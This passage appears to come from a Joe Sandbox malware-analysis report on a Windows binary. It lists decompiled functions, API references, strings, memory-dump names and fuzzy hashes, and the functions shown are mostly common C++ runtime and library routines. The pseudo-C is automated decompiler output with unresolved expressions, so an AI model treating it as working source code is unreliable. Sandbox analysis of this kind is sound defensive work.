				if ( *((intOrPtr*)( *_t63 + 0x10)) == 0) goto 0xaf6e6447;
				_t34 =  *0xaf7354d0();
				 *((long long*)( *((intOrPtr*)(_t54 + 0x10)) + __r8 * 8)) = __rdx;
				return E00007FF77FF7AF6E8BDC(_t34,  &_a8);
			}

0x7ff7af6e6384
0x7ff7af6e6387
0x7ff7af6e638b
0x7ff7af6e638f
0x7ff7af6e639f
0x7ff7af6e63a8
0x7ff7af6e63b2
0x7ff7af6e63c0
0x7ff7af6e63d0
0x7ff7af6e63d8
0x7ff7af6e63de
0x7ff7af6e63e6
0x7ff7af6e63ec
0x7ff7af6e63f5
0x7ff7af6e63f8
0x7ff7af6e63ff
0x7ff7af6e640b
0x7ff7af6e6415
0x7ff7af6e641c
0x7ff7af6e6425
0x7ff7af6e6431
0x7ff7af6e6441
0x7ff7af6e644b
0x7ff7af6e646e

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6E63A8
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6E6454
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6E646F

Strings

bad locale name, xrefs: 00007FF7AF6E656F

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Lockitstd::_$Concurrency::cancel_current_taskLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2115809835-1405518554
Opcode ID: bec498eaebb3a2410bc9c6138ceea7d747158178e7826651601398edaa6111a3
Instruction ID: 898db6e36d3a2ba69397947ee0c39d03928e2f705640343893bcb4f5ab0ca970
Opcode Fuzzy Hash: bec498eaebb3a2410bc9c6138ceea7d747158178e7826651601398edaa6111a3
Instruction Fuzzy Hash: 42519037A1ABC2C1EB58AB15D4543BDA3A6EB84B80F865031CA0D477B9DF3EE8558350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D1EE0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 57%

			E00007FF77FF7AF6D1EE0(long long __rbx, signed long long __rdx, long long __rsi, long long __rbp, void* __r9) {
				long long _v16;
				long long _v24;
				long long _v32;
				void* _t21;
				void* _t30;
				long long _t33;
				long long* _t42;
				signed long long _t44;
				intOrPtr _t48;
				signed long long _t50;
				unsigned long long _t52;
				long long _t55;
				long long* _t59;
				signed long long _t62;
				long long _t65;
				signed long long _t74;
				void* _t76;

				_t50 = __rdx;
				_t42 = "string too long";
				E00007FF77FF7AF6E1F74(_t30, _t42);
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_v16 = __rbx;
				_t74 = _t50;
				_t59 = _t42;
				if (_t50 - 0xfffffffe > 0) goto 0xaf6d1ff3;
				_v32 = __rbp;
				_v24 = __rsi;
				_t62 =  *((intOrPtr*)(_t42 + 0x18));
				_t44 = _t50 | 0x00000007;
				if (_t44 - 0xfffffffe > 0) goto 0xaf6d1f63;
				_t52 = _t62 >> 1;
				if (_t62 - 0xfffffffe - _t52 > 0) goto 0xaf6d1f63;
				_t33 = _t52 + _t62;
				_t6 = ( <  ? _t33 : _t44) + 1; // 0x7fffffffffffffff
				E00007FF77FF7AF6D2430(_t6);
				 *((long long*)(_t59 + 0x18)) =  <  ? _t33 : _t44;
				 *(_t59 + 0x10) = _t74;
				_t65 = _t33;
				E00007FF77FF7AF70AFB0();
				 *((short*)(_t74 + _t74 + _t65)) = 0;
				if (_t62 - 8 < 0) goto 0xaf6d1fce;
				_t55 =  *_t59;
				if (2 + _t62 * 2 - 0x1000 < 0) goto 0xaf6d1fc0;
				_t48 =  *((intOrPtr*)(_t55 - 8));
				if (_t55 - _t48 - 8 - 0x1f > 0) goto 0xaf6d1fed;
				if (_t48 == 0) goto 0xaf6d1fce;
				_t21 = LocalFree(_t76);
				 *_t59 = _t65;
				return _t21;
			}

0x7ff7af6d1ee0
0x7ff7af6d1ee4
0x7ff7af6d1eeb
0x7ff7af6d1ef0
0x7ff7af6d1ef1
0x7ff7af6d1ef2
0x7ff7af6d1ef3
0x7ff7af6d1ef4
0x7ff7af6d1ef5
0x7ff7af6d1ef6
0x7ff7af6d1ef7
0x7ff7af6d1ef8
0x7ff7af6d1ef9
0x7ff7af6d1efa
0x7ff7af6d1efb
0x7ff7af6d1efc
0x7ff7af6d1efd
0x7ff7af6d1efe
0x7ff7af6d1eff
0x7ff7af6d1f00
0x7ff7af6d1f1b
0x7ff7af6d1f1e
0x7ff7af6d1f24
0x7ff7af6d1f2a
0x7ff7af6d1f2f
0x7ff7af6d1f34
0x7ff7af6d1f3b
0x7ff7af6d1f42
0x7ff7af6d1f4a
0x7ff7af6d1f53
0x7ff7af6d1f55
0x7ff7af6d1f63
0x7ff7af6d1f6a
0x7ff7af6d1f6f
0x7ff7af6d1f7a
0x7ff7af6d1f84
0x7ff7af6d1f87
0x7ff7af6d1f8e
0x7ff7af6d1f96
0x7ff7af6d1f98
0x7ff7af6d1faa
0x7ff7af6d1fac
0x7ff7af6d1fbb
0x7ff7af6d1fc3
0x7ff7af6d1fc8
0x7ff7af6d1fce
0x7ff7af6d1fec

APIs

LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00007FF7AF6D2127,?,?,?,00007FF7AF6D101D), ref: 00007FF7AF6D1FC8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D1FED

Strings

0123456789abcdefghjkmnpqrstvwxyz, xrefs: 00007FF7AF6D1F08
string too long, xrefs: 00007FF7AF6D1EE4

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: FreeLocal_invalid_parameter_noinfo_noreturn
String ID: 0123456789abcdefghjkmnpqrstvwxyz$string too long
API String ID: 195334829-3069740030
Opcode ID: 77bff34669f51870e92bd143df8e0966c2d39692ffde44134fb4d7f5093d7188
Instruction ID: 6ee013d83d256d8d78337a9dc347468b187039fabee59d47ddf11d2ba9de59e9
Opcode Fuzzy Hash: 77bff34669f51870e92bd143df8e0966c2d39692ffde44134fb4d7f5093d7188
Instruction Fuzzy Hash: 46410462B06B8184EA04EF16E9441A9E3A6FB44FD0F995532EF1C07B69DF7CD0A28300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D4B80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107
libraryCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E00007FF77FF7AF6D4B80(void* __ebp, long long __rbx, long long __rcx, long long __rsi, long long __rbp, long long _a16, long long _a24, long long _a32) {
				void* _v8;
				signed int _v24;
				char _v552;
				long long _v560;
				char _v568;
				void* __rdi;
				void* _t39;
				void* _t40;
				void* _t49;
				void* _t53;
				signed long long _t62;
				signed long long _t66;
				intOrPtr _t69;
				signed long long _t74;
				intOrPtr _t80;
				intOrPtr* _t102;
				long long _t103;
				signed long long _t104;
				void* _t107;
				void* _t109;
				void* _t112;
				void* _t114;

				_t103 = __rsi;
				_t79 = __rbx;
				_a16 = __rbx;
				_a24 = __rbp;
				_a32 = __rsi;
				_t66 =  *0xaf751030; // 0xa13e9e6732fb
				_v24 = _t66 ^ _t109 - 0x00000250;
				_t102 = __rcx;
				_v560 = __rcx;
				 *((long long*)(__rcx)) = 0xaf744a70;
				 *((long long*)(__rcx + 8)) = __rsi;
				 *((intOrPtr*)(__rcx + 0x10)) = 0;
				if (GetSystemDirectoryW(??, ??) - 1 - 0x103 > 0) goto 0xaf6d4cbd;
				E00007FF77FF7AF6D2DE0();
				if (0xaf744a70 == 0) goto 0xaf6d4d10;
				_t69 =  *0xaf744a70;
				 *((intOrPtr*)(_t69 + 0x18))();
				_v568 = _t69 + 0x18;
				_t39 = E00007FF77FF7AF6D5BF0(0x105, __rbx,  &_v568,  &_v552, __rsi, __rbp, _t112);
				_t13 = _t103 - 1; // -1
				_t107 = _t13;
				if (_t39 != 0) goto 0xaf6d4c3d;
				if ( *((short*)( &_v552 + (_t107 + 1) * 2)) != 0) goto 0xaf6d4c20;
				r8d = _t39;
				_t40 = E00007FF77FF7AF6D5D80(_t53, _t79,  &_v568,  &_v552, _t107, _t114);
				asm("o16 nop [eax+eax]");
				_t74 = _t107 + 1;
				if ( *((short*)(0xaf746e88 + _t74 * 2)) != 0) goto 0xaf6d4c50;
				r8d = _t40;
				E00007FF77FF7AF6D5AD0(_t79,  &_v568, 0xaf746e88, _t102, _t103, _t107);
				r8d = 9;
				E00007FF77FF7AF6D5AD0(_t79,  &_v568, L"ntdll.dll", _t102, _t103, _t107);
				_t80 = _v568;
				E00007FF77FF7AF70AA98(0x5c, _t80, _t112);
				_t62 = _t74;
				if (_t62 == 0) goto 0xaf6d4ca6;
				r8d = 0;
				LoadLibraryExW(??, ??, ??);
				_t104 = _t74;
				asm("lock xadd [edx+0x10], ebp");
				if (_t62 > 0) goto 0xaf6d4cbd;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t80 - 0x18)))) + 8))();
				if (_t104 ==  *(_t102 + 8)) goto 0xaf6d4cd6;
				 *((intOrPtr*)( *_t102 + 8))();
				 *(_t102 + 8) = _t104;
				if (_t104 != 0) goto 0xaf6d4ce4;
				 *((intOrPtr*)(_t102 + 0x10)) = GetLastError();
				return E00007FF77FF7AF708B70(_t47, _t49, _v24 ^ _t109 - 0x00000250);
			}

0x7ff7af6d4b80
0x7ff7af6d4b80
0x7ff7af6d4b80
0x7ff7af6d4b85
0x7ff7af6d4b8a
0x7ff7af6d4b97
0x7ff7af6d4ba1
0x7ff7af6d4ba9
0x7ff7af6d4bac
0x7ff7af6d4bb8
0x7ff7af6d4bbd
0x7ff7af6d4bc1
0x7ff7af6d4bdb
0x7ff7af6d4be1
0x7ff7af6d4bec
0x7ff7af6d4bf2
0x7ff7af6d4bf5
0x7ff7af6d4bfc
0x7ff7af6d4c0b
0x7ff7af6d4c10
0x7ff7af6d4c10
0x7ff7af6d4c16
0x7ff7af6d4c28
0x7ff7af6d4c2a
0x7ff7af6d4c37
0x7ff7af6d4c47
0x7ff7af6d4c50
0x7ff7af6d4c58
0x7ff7af6d4c5a
0x7ff7af6d4c62
0x7ff7af6d4c67
0x7ff7af6d4c79
0x7ff7af6d4c83
0x7ff7af6d4c8b
0x7ff7af6d4c90
0x7ff7af6d4c93
0x7ff7af6d4c95
0x7ff7af6d4c9d
0x7ff7af6d4ca3
0x7ff7af6d4caa
0x7ff7af6d4cb2
0x7ff7af6d4cba
0x7ff7af6d4cc4
0x7ff7af6d4ccc
0x7ff7af6d4ccf
0x7ff7af6d4cd9
0x7ff7af6d4ce1
0x7ff7af6d4d0f

APIs

GetSystemDirectoryW.KERNEL32 ref: 00007FF7AF6D4BCE
GetLastError.KERNEL32 ref: 00007FF7AF6D4CDB

Part of subcall function 00007FF7AF6D2DE0: GetProcessHeap.KERNEL32(?,?,?,00007FF7AF6D258D), ref: 00007FF7AF6D2E16
Part of subcall function 00007FF7AF6D2DE0: _Init_thread_footer.LIBCMT ref: 00007FF7AF6D2E4C
Part of subcall function 00007FF7AF6D2DE0: _Init_thread_footer.LIBCMT ref: 00007FF7AF6D2EC7

Part of subcall function 00007FF7AF6D5BF0: FindResourceW.KERNEL32(?,?,?,00007FF7AF6D4C10), ref: 00007FF7AF6D5C41
Part of subcall function 00007FF7AF6D5BF0: wmemcpy_s.LIBCMT ref: 00007FF7AF6D5C91

LoadLibraryExW.KERNEL32 ref: 00007FF7AF6D4C9D

Strings

ntdll.dll, xrefs: 00007FF7AF6D4C6D

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Init_thread_footer$DirectoryErrorFindHeapLastLibraryLoadProcessResourceSystemwmemcpy_s
String ID: ntdll.dll
API String ID: 3316023300-2227199552
Opcode ID: 2f55cdb4dde61ee18e1838acc581fe15a984973f67fc075be664b764f132901d
Instruction ID: b46901c9f55cbc8bcbbf15aeda5b20d9122ee39d0c136b34bffe2dce50eb0bf4
Opcode Fuzzy Hash: 2f55cdb4dde61ee18e1838acc581fe15a984973f67fc075be664b764f132901d
Instruction Fuzzy Hash: 4F41A23660AF9582EA20FB15E8402A9B3A5FB88B80FC55133DA8D43B64DF3CD955C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6F7360 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E00007FF77FF7AF6F7360(long long __rax, long long __rbx, long long __rcx, long long __rbp, void* __r10, long long _a8, long long _a16, long long _a24) {
				void* _v24;
				char _v72;
				intOrPtr _t55;
				long long _t76;
				intOrPtr* _t85;
				long long _t87;
				long long _t88;
				long long _t99;

				_t79 = __rbx;
				_t76 = __rax;
				_a16 = __rbx;
				_a24 = __rbp;
				bpl = r8b;
				_t87 = __rcx;
				E00007FF77FF7AF6E8FC0(__rax, __rbx,  &_v72, __r10);
				asm("movups xmm0, [eax]");
				asm("movups [edi+0x48], xmm0");
				asm("movups xmm1, [eax+0x10]");
				asm("movups [edi+0x58], xmm1");
				asm("movsd xmm0, [eax+0x20]");
				asm("movsd [edi+0x68], xmm0");
				 *((intOrPtr*)(__rcx + 0x70)) =  *((intOrPtr*)(_t76 + 0x28));
				E00007FF77FF7AF71B640(_t76);
				_t88 = _t76;
				r14d = 0;
				 *((long long*)(_t87 + 0x10)) = _t99;
				 *((long long*)(_t87 + 0x20)) = _t99;
				 *((long long*)(_t87 + 0x28)) = _t99;
				 *((long long*)(_t87 + 0x30)) = _t99;
				_a8 = _t87;
				0xaf6df870();
				 *((long long*)(_t87 + 0x10)) = _t76;
				E00007FF77FF7AF6F7128(_t76, _t79, _t87, _t88);
				r9b =  *((intOrPtr*)(_t87 + 0x44));
				if (r9b == 0) goto 0xaf6f73ef;
				goto 0xaf6f73f2;
				_t55 =  *((intOrPtr*)(_t88 + 0x51));
				_t46 =  >  ? r14d : _t55;
				 *((intOrPtr*)(_t87 + 0x38)) =  >  ? r14d : _t55;
				r8d =  *((char*)(_t88 + 0x53));
				_t85 = "$+xv";
				if (r9b != 0) goto 0xaf6f7442;
				if (r8d - 2 > 0) goto 0xaf6f7442;
				if ( *((char*)(_t88 + 0x52)) - 1 > 0) goto 0xaf6f7442;
				if ( *((char*)(_t88 + 0x56)) - 4 > 0) goto 0xaf6f7442;
				goto 0xaf6f7445;
				 *((intOrPtr*)(_t87 + 0x3c)) =  *_t85;
				r8d =  *((char*)(_t88 + 0x55));
				if (r9b != 0) goto 0xaf6f747b;
				if (r8d - 2 > 0) goto 0xaf6f747b;
				if ( *((char*)(_t88 + 0x54)) - 1 > 0) goto 0xaf6f747b;
				if ( *((char*)(_t88 + 0x57)) - 4 > 0) goto 0xaf6f747b;
				 *((intOrPtr*)(_t87 + 0x40)) =  *((intOrPtr*)(_t85 + "+v$x+v$xv$+xv+$xv$+x+$vx+$vx$v+x+$vx$+vx+v $+v $v $+v +$v $++$ v+$ v$ v++$ v$+ v+xv$+ v$v$ +v+ $v$ ++x$v+ $v$v ++ $v$ +v"));
				if (bpl == 0) goto 0xaf6f7490;
				 *((intOrPtr*)(_t87 + 0x3c)) = 0x76782b24;
				 *((intOrPtr*)(_t87 + 0x40)) = 0x76782b24;
				return 0x76782b24;
			}

0x7ff7af6f7360
0x7ff7af6f7360
0x7ff7af6f7360
0x7ff7af6f7365
0x7ff7af6f7372
0x7ff7af6f7375
0x7ff7af6f737d
0x7ff7af6f7382
0x7ff7af6f7385
0x7ff7af6f7389
0x7ff7af6f738d
0x7ff7af6f7391
0x7ff7af6f7396
0x7ff7af6f739e
0x7ff7af6f73a1
0x7ff7af6f73a6
0x7ff7af6f73a9
0x7ff7af6f73ac
0x7ff7af6f73b0
0x7ff7af6f73b4
0x7ff7af6f73b8
0x7ff7af6f73bc
0x7ff7af6f73cb
0x7ff7af6f73d0
0x7ff7af6f73dc
0x7ff7af6f73e1
0x7ff7af6f73e8
0x7ff7af6f73ed
0x7ff7af6f73f2
0x7ff7af6f73fa
0x7ff7af6f73fe
0x7ff7af6f7409
0x7ff7af6f740e
0x7ff7af6f741f
0x7ff7af6f7425
0x7ff7af6f742a
0x7ff7af6f742f
0x7ff7af6f7440
0x7ff7af6f7447
0x7ff7af6f7452
0x7ff7af6f745a
0x7ff7af6f7460
0x7ff7af6f7465
0x7ff7af6f746a
0x7ff7af6f747d
0x7ff7af6f7483
0x7ff7af6f748a
0x7ff7af6f748d
0x7ff7af6f74a4

APIs

_Getvals.LIBCPMT ref: 00007FF7AF6F73DC

Part of subcall function 00007FF7AF6F7128: std::_Maklocwcs.LIBCPMT ref: 00007FF7AF6F7148
Part of subcall function 00007FF7AF6F7128: std::_Maklocwcs.LIBCPMT ref: 00007FF7AF6F7165
Part of subcall function 00007FF7AF6F7128: std::_Maklocwcs.LIBCPMT ref: 00007FF7AF6F7182

Strings

$+xv, xrefs: 00007FF7AF6F7485
+v$x+v$xv$+xv+$xv$+x+$vx+$vx$v+x+$vx$+vx+v $+v $v $+v +$v $++$ v+$ v$ v++$ v$+ v+xv$+ v$v$ +v+ $v$ ++x$v+ $v$v ++ $v$ +v, xrefs: 00007FF7AF6F7415
$+xv, xrefs: 00007FF7AF6F740E

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Maklocwcsstd::_$Getvals
String ID: $+xv$$+xv$+v$x+v$xv$+xv+$xv$+x+$vx+$vx$v+x+$vx$+vx+v $+v $v $+v +$v $++$ v+$ v$ v++$ v$+ v+xv$+ v$v$ +v+ $v$ ++x$v+ $v$v ++ $v$ +v
API String ID: 1848906033-3573081731
Opcode ID: ed6694160df262be47a655022490614df5523eca32aee285fcd1ce868628c09a
Instruction ID: 7a642a627ed6dba8398079bd81498d7ea01c99ef0f3aa931741769f47e561f2d
Opcode Fuzzy Hash: ed6694160df262be47a655022490614df5523eca32aee285fcd1ce868628c09a
Instruction Fuzzy Hash: D941F133A09BC197E724DF2195801EEBBA6FB487807865235DB8943E21DF39F562D700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D1CB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D1CE9
LocalFree.KERNEL32 ref: 00007FF7AF6D1D2A

Strings

success, xrefs: 00007FF7AF6D1D83

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: FreeLocal_invalid_parameter_noinfo_noreturn
String ID: success
API String ID: 195334829-1862328242
Opcode ID: c9b1986222f141fa62dc78f0fc353624a894aa3f77b01a4206fe9ded31770e1c
Instruction ID: 45d7b50929890d58989e413fbc919cfb95139213a2061708365a13f536406c7f
Opcode Fuzzy Hash: c9b1986222f141fa62dc78f0fc353624a894aa3f77b01a4206fe9ded31770e1c
Instruction Fuzzy Hash: 8631F666A06B8185FB18AB55E4043ACA266EB54BC4FD15632CA5D077A5CFBCD4E08310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6E7644 Relevance: 6.3, APIs: 4, Instructions: 256
COMMON

Download Yara Rule

C-Code - Quality: 21%

			E00007FF77FF7AF6E7644(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __rcx, void* __rdx, void* __r8, long long __r9) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* __r12;
				void* _t94;
				signed int _t101;
				void* _t108;
				signed int _t109;
				void* _t113;
				signed long long _t143;
				long long _t175;
				intOrPtr _t186;
				signed long long _t193;
				intOrPtr _t194;
				intOrPtr* _t198;
				void* _t207;
				intOrPtr _t208;
				void* _t214;
				intOrPtr _t215;
				intOrPtr _t219;
				signed int* _t225;
				char* _t226;
				void* _t227;
				void* _t228;
				signed long long _t229;
				intOrPtr* _t245;
				void* _t246;

				_t113 = __edi;
				_t108 = __ecx;
				_t227 = _t228 - 7;
				_t229 = _t228 - 0xb8;
				_t143 =  *0xaf751030; // 0xa13e9e6732fb
				 *(_t227 - 0x11) = _t143 ^ _t229;
				 *((long long*)(_t227 - 0x79)) = __r9;
				_t246 = __r8;
				_t175 =  *((intOrPtr*)(_t227 + 0x6f));
				_t225 =  *((intOrPtr*)(_t227 + 0x77));
				_t226 =  *((intOrPtr*)(_t227 + 0x7f));
				if (( *(_t175 + 0x18) & 0x00004000) == 0) goto 0xaf6e789a;
				_t245 =  *((intOrPtr*)( *((intOrPtr*)(_t175 + 0x40)) + 8));
				 *((long long*)(_t227 - 0x49)) = _t245;
				 *0xaf7354d0();
				E00007FF77FF7AF6E28A0( *((intOrPtr*)( *_t245 + 8)), _t227 - 0x51);
				if (_t245 == 0) goto 0xaf6e76ea;
				 *0xaf7354d0();
				if ( *((intOrPtr*)( *_t245 + 0x10)) == 0) goto 0xaf6e76ea;
				 *0xaf7354d0();
				 *(_t227 - 0x71) =  *(_t227 - 0x71) & 0x00000000;
				 *((long long*)(_t227 - 0x59)) = 0xf;
				 *(_t227 - 0x71) = 0;
				 *((long long*)(_t227 - 0x61)) = _t175;
				 *(_t227 - 0x71) = 0;
				 *0xaf7354d0();
				_t207 =  >=  ?  *((void*)(_t227 - 0x51)) : _t227 - 0x51;
				E00007FF77FF7AF6DFB00(_t175, _t227 - 0x71, _t226,  *((intOrPtr*)(_t227 - 0x41)));
				r14d = 0x1000;
				_t208 =  *((intOrPtr*)(_t227 - 0x39));
				if (_t208 - 0x10 < 0) goto 0xaf6e7774;
				if (_t208 + 1 - _t245 < 0) goto 0xaf6e776f;
				if ( *((intOrPtr*)(_t227 - 0x51)) -  *((intOrPtr*)( *((intOrPtr*)(_t227 - 0x51)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xaf6e7994;
				E00007FF77FF7AF6D7870( *((intOrPtr*)( *((intOrPtr*)(_t227 - 0x51)) - 8)));
				_t186 =  *((intOrPtr*)(_t227 - 0x61));
				if (_t186 -  *((intOrPtr*)(_t227 - 0x59)) >= 0) goto 0xaf6e779b;
				_t34 = _t186 + 1; // 0x10
				 *((long long*)(_t227 - 0x61)) = _t34;
				_t158 =  >=  ?  *(_t227 - 0x71) : _t227 - 0x71;
				 *(( >=  ?  *(_t227 - 0x71) : _t227 - 0x71) + _t186) =  *(( >=  ?  *(_t227 - 0x71) : _t227 - 0x71) + _t186) & 0x00000000;
				goto 0xaf6e77af;
				r9d = 0;
				r8b =  *((intOrPtr*)(_t229 + 0x30));
				E00007FF77FF7AF6D9E00(_t175, _t227 - 0x71, _t175, _t225,  *((intOrPtr*)( *_t245 + 8)));
				 *0xaf7354d0();
				_t214 =  >=  ?  *((void*)(_t227 - 0x51)) : _t227 - 0x51;
				E00007FF77FF7AF6DFB00(_t175, _t227 - 0x71, _t226,  *((intOrPtr*)(_t227 - 0x41)));
				_t215 =  *((intOrPtr*)(_t227 - 0x39));
				if (_t215 - 0x10 < 0) goto 0xaf6e7818;
				if (_t215 + 1 - _t245 < 0) goto 0xaf6e7813;
				if ( *((intOrPtr*)(_t227 - 0x51)) -  *((intOrPtr*)( *((intOrPtr*)(_t227 - 0x51)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xaf6e799a;
				E00007FF77FF7AF6D7870( *((intOrPtr*)( *((intOrPtr*)(_t227 - 0x51)) - 8)));
				_t237 =  >=  ?  *(_t227 - 0x71) : _t227 - 0x71;
				 *(_t229 + 0x20) = 1;
				r8d = 2;
				_t94 = E00007FF77FF7AF6E209C(1, _t108, _t246,  *((intOrPtr*)(_t227 - 0x79)),  *((intOrPtr*)(_t227 - 0x41)),  >=  ?  *(_t227 - 0x71) : _t227 - 0x71);
				if (_t94 == 0) goto 0xaf6e7857;
				if (_t94 == 1) goto 0xaf6e7853;
				 *_t226 = 0;
				 *_t225 = 2;
				goto 0xaf6e785a;
				 *_t226 = 1;
				goto 0xaf6e785a;
				 *_t226 = 0;
				_t219 =  *((intOrPtr*)(_t227 - 0x59));
				if (_t219 - 0x10 < 0) goto 0xaf6e7950;
				_t193 =  *(_t227 - 0x71);
				if (_t219 + 1 - _t245 < 0) goto 0xaf6e7890;
				_t194 =  *((intOrPtr*)(_t193 - 8));
				if (_t193 - _t194 + 0xfffffff8 - 0x1f > 0) goto 0xaf6e798e;
				E00007FF77FF7AF6D7870(_t194);
				goto 0xaf6e7950;
				 *((long long*)(_t227 - 0x49)) =  *((intOrPtr*)(_t194 + 8));
				 *0xaf7354d0();
				 *((long long*)(_t229 + 0x28)) = _t227 - 0x51;
				 *(_t229 + 0x20) =  *(_t175 + 0x18);
				r14d = E00007FF77FF7AF6E5574(1, 1, _t113, __esi, _t175, _t227 - 0x31, _t246,  *((intOrPtr*)(_t227 - 0x79)));
				_t198 =  *((intOrPtr*)(_t227 - 0x49));
				if (_t198 == 0) goto 0xaf6e790a;
				 *0xaf7354d0();
				if ( *((intOrPtr*)( *_t198 + 0x10)) == 0) goto 0xaf6e790a;
				 *0xaf7354d0();
				if ( *((char*)(_t227 - 0x31)) != 0) goto 0xaf6e7915;
				 *_t226 = 0;
				goto 0xaf6e794a;
				r8d = r14d;
				_t101 = E00007FF77FF7AF707940(_t175, _t227 - 0x31, _t227 - 0x79, _t226, _t227, _t227 - 0x7d);
				_t109 = _t101;
				if ( *((intOrPtr*)(_t227 - 0x79)) == _t227 - 0x31) goto 0xaf6e7948;
				if ( *((intOrPtr*)(_t227 - 0x7d)) != 0) goto 0xaf6e7948;
				 *_t226 = _t101 & 0xffffff00 | _t109 != 0x00000000;
				if (_t109 - 1 <= 0) goto 0xaf6e7950;
				goto 0xaf6e794a;
				 *_t226 = 1;
				 *_t225 = 2;
				if (E00007FF77FF7AF6E85B0(_t175, _t246,  *((intOrPtr*)(_t227 - 0x79)), _t226) == 0) goto 0xaf6e7961;
				 *_t225 =  *_t225 | 0x00000001;
				asm("inc ecx");
				asm("repe inc ecx");
				return E00007FF77FF7AF708B70(_t103, _t109,  *(_t227 - 0x11) ^ _t229);
			}

0x7ff7af6e7644
0x7ff7af6e7644
0x7ff7af6e7651
0x7ff7af6e7656
0x7ff7af6e765d
0x7ff7af6e7667
0x7ff7af6e766b
0x7ff7af6e766f
0x7ff7af6e7678
0x7ff7af6e767c
0x7ff7af6e7680
0x7ff7af6e768f
0x7ff7af6e7695
0x7ff7af6e7699
0x7ff7af6e76a7
0x7ff7af6e76b2
0x7ff7af6e76c2
0x7ff7af6e76ce
0x7ff7af6e76da
0x7ff7af6e76e4
0x7ff7af6e76ea
0x7ff7af6e76ef
0x7ff7af6e76f7
